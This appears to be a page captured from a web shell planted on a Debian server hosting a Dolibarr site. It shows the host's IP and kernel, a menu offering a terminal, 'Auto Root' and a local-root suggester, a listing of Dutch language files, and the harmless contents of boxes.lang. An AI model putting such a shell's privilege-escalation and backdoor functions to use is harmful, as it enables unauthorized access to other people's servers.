Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
btm2000.apps-dev.fr /
langs /
nl_NL /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
37.67
KB
-rw-r--r--
2023-12-15 13:44
admin.lang
191.37
KB
-rw-r--r--
2023-12-15 13:44
agenda.lang
9.05
KB
-rw-r--r--
2023-12-15 13:44
assets.lang
7.43
KB
-rw-r--r--
2023-12-15 13:44
banks.lang
9.99
KB
-rw-r--r--
2023-12-15 13:44
bills.lang
38.19
KB
-rw-r--r--
2023-12-15 13:44
blockedlog.lang
5.86
KB
-rw-r--r--
2023-12-15 13:44
bookmarks.lang
1.21
KB
-rw-r--r--
2023-12-15 13:44
boxes.lang
7.56
KB
-rw-r--r--
2023-12-15 13:44
cashdesk.lang
7.26
KB
-rw-r--r--
2023-12-15 13:44
categories.lang
5.7
KB
-rw-r--r--
2023-12-15 13:44
commercial.lang
4.01
KB
-rw-r--r--
2023-12-15 13:44
companies.lang
19.27
KB
-rw-r--r--
2023-12-15 13:44
compta.lang
19.63
KB
-rw-r--r--
2023-12-15 13:44
contracts.lang
5.26
KB
-rw-r--r--
2023-12-15 13:44
cron.lang
6.11
KB
-rw-r--r--
2023-12-15 13:44
datapolicy.lang
4.52
KB
-rw-r--r--
2023-12-15 13:44
deliveries.lang
1.34
KB
-rw-r--r--
2023-12-15 13:44
dict.lang
8.5
KB
-rw-r--r--
2023-12-15 13:44
donations.lang
1.48
KB
-rw-r--r--
2023-12-15 13:44
ecm.lang
3.46
KB
-rw-r--r--
2023-12-15 13:44
errors.lang
38.32
KB
-rw-r--r--
2023-12-15 13:44
eventorganization.lang
10.6
KB
-rw-r--r--
2023-12-15 13:44
exports.lang
11.68
KB
-rw-r--r--
2023-12-15 13:44
help.lang
1.29
KB
-rw-r--r--
2023-12-15 13:44
holiday.lang
7.58
KB
-rw-r--r--
2023-12-15 13:44
hrm.lang
3.68
KB
-rw-r--r--
2023-12-15 13:44
install.lang
19.64
KB
-rw-r--r--
2023-12-15 13:44
interventions.lang
4.41
KB
-rw-r--r--
2023-12-15 13:44
intracommreport.lang
1.4
KB
-rw-r--r--
2023-12-15 13:44
knowledgemanagement.lang
2.21
KB
-rw-r--r--
2023-12-15 13:44
languages.lang
3.64
KB
-rw-r--r--
2023-12-15 13:44
ldap.lang
2.07
KB
-rw-r--r--
2023-12-15 13:44
link.lang
562
B
-rw-r--r--
2023-12-15 13:44
loan.lang
1.48
KB
-rw-r--r--
2023-12-15 13:44
mailmanspip.lang
1.55
KB
-rw-r--r--
2023-12-15 13:44
mails.lang
11.83
KB
-rw-r--r--
2023-12-15 13:44
main.lang
41.2
KB
-rw-r--r--
2023-12-15 13:44
margins.lang
3.34
KB
-rw-r--r--
2023-12-15 13:44
members.lang
14.62
KB
-rw-r--r--
2023-12-15 13:44
modulebuilder.lang
17.42
KB
-rw-r--r--
2023-12-15 13:44
mrp.lang
7.04
KB
-rw-r--r--
2023-12-15 13:44
multicurrency.lang
2.56
KB
-rw-r--r--
2023-12-15 13:44
oauth.lang
2.39
KB
-rw-r--r--
2023-12-15 13:44
opensurvey.lang
3.65
KB
-rw-r--r--
2023-12-15 13:44
orders.lang
9.84
KB
-rw-r--r--
2023-12-15 13:44
other.lang
18.57
KB
-rw-r--r--
2023-12-15 13:44
partnership.lang
4.61
KB
-rw-r--r--
2023-12-15 13:44
paybox.lang
1.99
KB
-rw-r--r--
2023-12-15 13:44
paypal.lang
2.38
KB
-rw-r--r--
2023-12-15 13:44
printing.lang
2.64
KB
-rw-r--r--
2023-12-15 13:44
productbatch.lang
2.73
KB
-rw-r--r--
2023-12-15 13:44
products.lang
22.39
KB
-rw-r--r--
2023-12-15 13:44
projects.lang
17.84
KB
-rw-r--r--
2023-12-15 13:44
propal.lang
5.25
KB
-rw-r--r--
2023-12-15 13:44
receiptprinter.lang
3.4
KB
-rw-r--r--
2023-12-15 13:44
receptions.lang
3.09
KB
-rw-r--r--
2023-12-15 13:44
recruitment.lang
3.19
KB
-rw-r--r--
2023-12-15 13:44
resource.lang
1.38
KB
-rw-r--r--
2023-12-15 13:44
salaries.lang
1.73
KB
-rw-r--r--
2023-12-15 13:44
sendings.lang
3.87
KB
-rw-r--r--
2023-12-15 13:44
sms.lang
1.76
KB
-rw-r--r--
2023-12-15 13:44
stocks.lang
21.15
KB
-rw-r--r--
2023-12-15 13:44
stripe.lang
5.85
KB
-rw-r--r--
2023-12-15 13:44
supplier_proposal.lang
3.26
KB
-rw-r--r--
2023-12-15 13:44
suppliers.lang
2.98
KB
-rw-r--r--
2023-12-15 13:44
ticket.lang
22.07
KB
-rw-r--r--
2023-12-15 13:44
trips.lang
7.48
KB
-rw-r--r--
2023-12-15 13:44
users.lang
7.71
KB
-rw-r--r--
2023-12-15 13:44
website.lang
16.08
KB
-rw-r--r--
2023-12-15 13:44
withdrawals.lang
10.47
KB
-rw-r--r--
2023-12-15 13:44
workflow.lang
4.73
KB
-rw-r--r--
2023-12-15 13:44
zapier.lang
1.24
KB
-rw-r--r--
2023-12-15 13:44
Save
Rename
# Dolibarr language file - Source file is en_US - boxes BoxDolibarrStateBoard=Statistieken over de belangrijkste bedrijfsobjecten in de database BoxLoginInformation=Login Informatie BoxLastRssInfos=RSS-informatie BoxLastProducts=Nieuwste %s producten / services BoxProductsAlertStock=Product voorraad melding BoxLastProductsInContract=Laatste %s toegewezen producten/diensten BoxLastSupplierBills=Nieuwste leveranciersfacturen BoxLastCustomerBills=Nieuwste klantfacturen BoxOldestUnpaidCustomerBills=Oudste openstaande klantfacturen BoxOldestUnpaidSupplierBills=Oudste onbetaalde leveranciersfacturen BoxLastProposals=Laatste offertes BoxLastProspects=Laatste bewerkte prospecten BoxLastCustomers=Laatste bewerkte klanten BoxLastSuppliers=Laatste aangepaste leveranciers BoxLastCustomerOrders=Nieuwste verkooporders BoxLastActions=Laatste acties BoxLastContracts=Laatste contracten BoxLastContacts=Laatste contactpersonen- / adressenlijst BoxLastMembers=Laatste leden BoxLastModifiedMembers=Laatste gewijzigde leden BoxLastMembersSubscriptions=Laatste lidmaatschappen BoxFicheInter=Laatste interventies BoxCurrentAccounts=Saldo van de geopende rekening BoxTitleMemberNextBirthdays=Verjaardagen van deze maand (leden) BoxTitleMembersByType=Leden op type en status BoxTitleMembersByTags=Leden op tags en status BoxTitleMembersSubscriptionsByYear=Ledenabonnementen per jaar BoxTitleLastRssInfos=Laatste %s nieuws van %s BoxTitleLastProducts=Producten / Diensten: laatste %s bewerkt BoxTitleProductsAlertStock=Producten: voorraadalarm BoxTitleLastSuppliers=Laatste %s opgenomen leveranciers BoxTitleLastModifiedSuppliers=Verkopers: laatste %s gewijzigd BoxTitleLastModifiedCustomers=Klanten: laatste %s gewijzigd BoxTitleLastCustomersOrProspects=Laatste %s klanten of prospects BoxTitleLastCustomerBills=Laatste %s gewijzigde klantfacturen BoxTitleLastSupplierBills=Laatste %s gewijzigde leveranciersfacturen BoxTitleLastModifiedProspects=Vooruitzichten: laatste %s gewijzigd BoxTitleLastModifiedMembers=Laatste %s leden BoxTitleLastFicheInter=Laatste %s aangepaste interventies BoxTitleOldestUnpaidCustomerBills=Klantfacturen: oudste %s niet betaald BoxTitleOldestUnpaidSupplierBills=Leveranciersfacturen: oudste %s onbetaald BoxTitleCurrentAccounts=Open rekeningen: saldi BoxTitleSupplierOrdersAwaitingReception=Bestellingen van leveranciers wachten op ontvangst BoxTitleLastModifiedContacts=Contacten / Adressen: laatste %s gewijzigd BoxMyLastBookmarks=Bladwijzers: laatste %s BoxOldestExpiredServices=Oudste actief verlopen diensten BoxOldestActions=Oudste evenementen om te doen BoxLastExpiredServices=Laatste %s oudste contactpersonen met actieve verlopen diensten BoxTitleLastActionsToDo=Laatste %s acties om uit te voeren BoxTitleOldestActionsToDo=Oudste %s-gebeurtenissen die moeten worden uitgevoerd, niet voltooid BoxTitleFutureActions=De volgende %s aankomende evenementen BoxTitleLastContracts=Laatste %s contracten die zijn gewijzigd BoxTitleLastModifiedDonations=Laatste %s donaties die zijn gewijzigd BoxTitleLastModifiedExpenses=Laatste %s onkostendeclaraties die zijn gewijzigd BoxTitleLatestModifiedBoms=Laatste %s stuklijsten die zijn gewijzigd BoxTitleLatestModifiedMos=Laatste %s Productieorders die zijn gewijzigd BoxTitleLastOutstandingBillReached=Klanten met meer dan maximaal toegestaan krediet BoxGlobalActivity=Globale activiteit (facturen, offertes, bestellingen) BoxGoodCustomers=Goede klanten BoxTitleGoodCustomers=%s Goede klanten BoxScheduledJobs=Geplande taken BoxTitleFunnelOfProspection=Lood trechter FailedToRefreshDataInfoNotUpToDate=Vernieuwen van RSS-flux is mislukt. Laatste succesvolle vernieuwingsdatum: %s LastRefreshDate=Laatste bijwerkingsdatum NoRecordedBookmarks=Geen weblinks ingesteld. Klik <a href="%s">weblinks</a> aan om deze toe te voegen. ClickToAdd=Klik hier om toe te voegen. NoRecordedCustomers=Geen geregistreerde afnemers NoRecordedContacts=Geen geregistreerde contacten NoActionsToDo=Geen actie te ondernemen NoRecordedOrders=Geen geregistreerde verkooporders NoRecordedProposals=Geen geregistreerde offertes NoRecordedInvoices=Geen vastgelegde klantfacturen NoUnpaidCustomerBills=Geen openstaande klantfacturen NoUnpaidSupplierBills=Geen onbetaalde leveranciersfacturen NoModifiedSupplierBills=Geen opgenomen leveranciersfacturen NoRecordedProducts=Geen geregistreerde producten / diensten NoRecordedProspects=Geen geregistreerde prospecten NoContractedProducts=Geen gecontracteerde producten / diensten NoRecordedContracts=Geen geregistreerde contracten NoRecordedInterventions=Geen tussenkomsten geregistreerd BoxLatestSupplierOrders=Laatste inkooporders BoxLatestSupplierOrdersAwaitingReception=Laatste inkooporders (met een in afwachting van ontvangst) NoSupplierOrder=Geen geregistreerde bestelling BoxCustomersInvoicesPerMonth=Klantfacturen per maand BoxSuppliersInvoicesPerMonth=Leveranciersfacturen per maand BoxCustomersOrdersPerMonth=Klantorders per maand BoxSuppliersOrdersPerMonth=Orders van leveranciers per maand BoxProposalsPerMonth=Offertes per maand NoTooLowStockProducts=Geen enkel product heeft een lage voorraad-limiet BoxProductDistribution=Producten / Diensten Distributie ForObject=Op %s BoxTitleLastModifiedSupplierBills=Leveranciersfacturen: laatste %s gewijzigd BoxTitleLatestModifiedSupplierOrders=Orders van leveranciers: laatste %s gewijzigd BoxTitleLastModifiedCustomerBills=Klantfacturen: laatste %s gewijzigd BoxTitleLastModifiedCustomerOrders=Klantorders: laatste %s gewijzigd BoxTitleLastModifiedPropals=Laatste %s aangepaste offertes BoxTitleLatestModifiedJobPositions=laatste 1%s gewijzigde vacatures BoxTitleLatestModifiedCandidatures=Laatste 1%s gewijzigde sollicitaties ForCustomersInvoices=Afnemersfacturen ForCustomersOrders=Klantenbestellingen ForProposals=Zakelijke voorstellen / Offertes LastXMonthRolling=De laatste %s maand overschrijdende ChooseBoxToAdd=Voeg widget toe aan uw dashboard BoxAdded=Widget is toegevoegd in je dashboard BoxTitleUserBirthdaysOfMonth=Verjaardagen van deze maand (gebruikers) BoxLastManualEntries=Laatste record in boekhouding handmatig ingevoerd of zonder bron-document BoxTitleLastManualEntries=%s laatste record handmatig of zonder bron-document ingevoerd NoRecordedManualEntries=Geen handmatige invoer opgenomen in boekhouding BoxSuspenseAccount=Tel boekhoudkundige bewerking met tussenrekening BoxTitleSuspenseAccount=Aantal niet-toegewezen lijnen NumberOfLinesInSuspenseAccount=Aantal regels in tussenrekening SuspenseAccountNotDefined=Suspense-account is niet gedefinieerd BoxLastCustomerShipments=Laatste klantzendingen BoxTitleLastCustomerShipments=Laatste %s klantverzendingen BoxTitleLastLeaveRequests=Laatste %s aangepaste verlofverzoeken NoRecordedShipments=Geen geregistreerde klantverzending BoxCustomersOutstandingBillReached=Klanten met bereikt limiet # Pages UsersHome=Thuisgebruikers en groepen MembersHome=Thuis lidmaatschap ThirdpartiesHome=Home Derden productindex=Producten en diensten voor thuis mrpindex=Thuis MRP commercialindex=Commercieel thuis projectsindex=Thuis projecten invoiceindex=Thuis facturen hrmindex=Thuis facturen TicketsHome=Thuistickets stockindex=Thuis voorraden sendingindex=Thuis verzendingen receptionindex=Thuis ontvangsten activityindex=Activiteit thuis proposalindex=Thuis voorstel ordersindex=Bestellingen voor thuisverkoop orderssuppliersindex=Bestellingen voor thuisbezorging contractindex=Woning contracten interventionindex=Thuis interventies suppliersproposalsindex=Voorstellen van huisleveranciers donationindex=Thuis donaties specialexpensesindex=Speciale uitgaven voor thuis expensereportindex=Onkostendeclaratie thuis mailingindex=Thuis mailen opensurveyindex=Home open enquĂȘte AccountancyHome=Home Boekhouding ValidatedProjects=Gevalideerde projecten